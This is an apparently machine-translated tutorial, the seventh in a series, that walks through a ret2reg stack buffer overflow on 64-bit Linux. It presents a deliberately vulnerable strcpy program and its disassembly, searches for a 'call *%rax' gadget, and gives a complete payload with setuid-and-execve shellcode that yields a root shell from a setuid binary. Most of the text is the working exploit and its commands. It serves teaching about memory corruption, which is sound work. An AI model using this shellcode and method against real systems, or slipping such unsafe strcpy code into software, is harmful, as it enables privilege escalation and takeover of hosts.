Stack Overflow Attack series: shellcode obtains root privileges in 64-bit linux x86 attacks (7) using register attacks, shellcoderoot
In (6), we mentioned the attack method using fixed stack addresses. However, in practice, the default system parameter is not 0.
cat /proc/sys/kernel/randomize_va_space
In this case, six in the series lose the meaning of the attack, but everything will have a vulnerability. Let's talk about another register-based attack.
Vulnerability code
Vulnerableret2reg. c
#include <stdio.h>#include <string.h>void evilfunction(char* input){ char buffer[1000]; strcpy(buffer, input);}int main(int argc, char** argv){ evilfunction(argv[1]); return 0;}
Let's take a look at strcpy.
char *strcpy(char *dest, const char *src);
This means that the address of the returned array is in rax, and the address returned by strcpy is in the buffer address of the evilfunction, that is to say, the address in the rax register is the starting position of the buffer in evilfunction. Fortunately, In the evilfunction, there is no operation on the rax register after strcpy, the evilfunction does not return values (rax is the return value register ).
Evilfunction Compilation
00000000004004c4 <evilfunction>: 4004c4:55 push %rbp 4004c5:48 89 e5 mov %rsp,%rbp 4004c8:48 81 ec 00 04 00 00 sub $0x400,%rsp 4004cf:48 89 bd 08 fc ff ff mov %rdi,-0x3f8(%rbp) 4004d6:48 8b 95 08 fc ff ff mov -0x3f8(%rbp),%rdx 4004dd:48 8d 85 10 fc ff ff lea -0x3f0(%rbp),%rax 4004e4:48 89 d6 mov %rdx,%rsi 4004e7:48 89 c7 mov %rax,%rdi 4004ea:e8 d9 fe ff ff callq 4003c8 <strcpy@plt> 4004ef:c9 leaveq 4004f0:c3 retq
We can see that there are no instructions for modifying the rax register after callq. The rax register is our attack direction. 1. We need to find a call % rax instruction address and compile vulnerableret2reg. c into an executable file.
gcc -z execstack -o vulnerableret2reg vulnerableret2reg.cobjdump -d vulnerableret2reg |grep rax > rax.txtcat rax.txt 4003b4:0f 1f 40 00 nopl 0x0(%rax) 4003ed:50 push %rax 400410:48 8b 05 89 04 20 00 mov 0x200489(%rip),%rax # 6008a0 <_dynamic 0x190=""> 400417:48 85 c0 test %rax,%rax 40041c:ff d0 callq *%rax 400447:48 8b 05 92 04 20 00 mov 0x200492(%rip),%rax # 6008e0 <dtor_idx 6351=""> 40045d:48 39 d8 cmp %rbx,%rax 400462:66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) 400468:48 83 c0 01 add $0x1,%rax 40046c:48 89 05 6d 04 20 00 mov %rax,0x20046d(%rip) # 6008e0 <dtor_idx 6351=""> 400473:ff 14 c5 f8 06 60 00 callq *0x6006f8(,%rax,8) 40047a:48 8b 05 5f 04 20 00 mov 0x20045f(%rip),%rax # 6008e0 <dtor_idx 6351=""> 400481:48 39 d8 cmp %rbx,%rax 400494:66 66 66 2e 0f 1f 84 data32 data32 nopw %cs:0x0(%rax,%rax,1) 4004b3:48 85 c0 test %rax,%rax 4004be:ff e0 jmpq *%rax 4004dd:48 8d 85 10 fc ff ff lea -0x3f0(%rbp),%rax 4004e7:48 89 c7 mov %rax,%rdi 400500:48 8b 45 f0 mov -0x10(%rbp),%rax 400504:48 83 c0 08 add $0x8,%rax 400508:48 8b 00 mov (%rax),%rax 40050b:48 89 c7 mov %rax,%rdi 400522:66 66 66 66 66 2e 0f data32 data32 data32 data32 nopw %cs:0x0(%rax,%rax,1) 40057c:0f 1f 40 00 nopl 0x0(%rax) 4005c9:48 8b 05 18 01 20 00 mov 0x200118(%rip),%rax # 6006e8 <__ctor_list__> 4005d0:48 83 f8 ff cmp $0xffffffffffffffff,%rax 4005db:0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) 4005e4:ff d0 callq *%rax 4005e6:48 8b 03 mov (%rbx),%rax 4005e9:48 83 f8 ff cmp $0xffffffffffffffff,%rax
Fortunately, we saw callq * % rax.
40041c:ff d0 callq *%rax
Command address: 40041c
2. Calculate the space that overwrites the returned address
lea -0x3f0(%rbp),%rax
That is, the starting address of the buffer is relative to rbp-0x3f0 = decimal 1008, and 8 is the return address of the function.
3. Fill in our array
`perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`
16 + 43 + 957 = 1016 fill in the instruction address 40041c
4. Execute our shellcode
When the function exits, the rip address points to 40041c, and the machine command callq * % rax is executed. The value in rax is the starting address of the buffer array, then the content in the buffer array will be executed. We only need to fill in the buffer array with the shellcode we want to execute, so this attack is perfect.
Deductive attack
gcc -z execstack -o vulnerableret2reg vulnerableret2reg.cchmod u+s vulnerableret2regsu test./vulnerableret2reg `perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`sh4.1#whoamiroot
As designed, you become the root.
Stack attacks are not simple
1. You need a buffer array long enough to fill up your shellcode.
2. You do not need to operate the register after the program.
3. You need to have register operations in your program and get the address of the Code.
4. Of course, you also need to specify the code that can be executed in the stack during compilation.
5. To become root, you need the s permission of the program.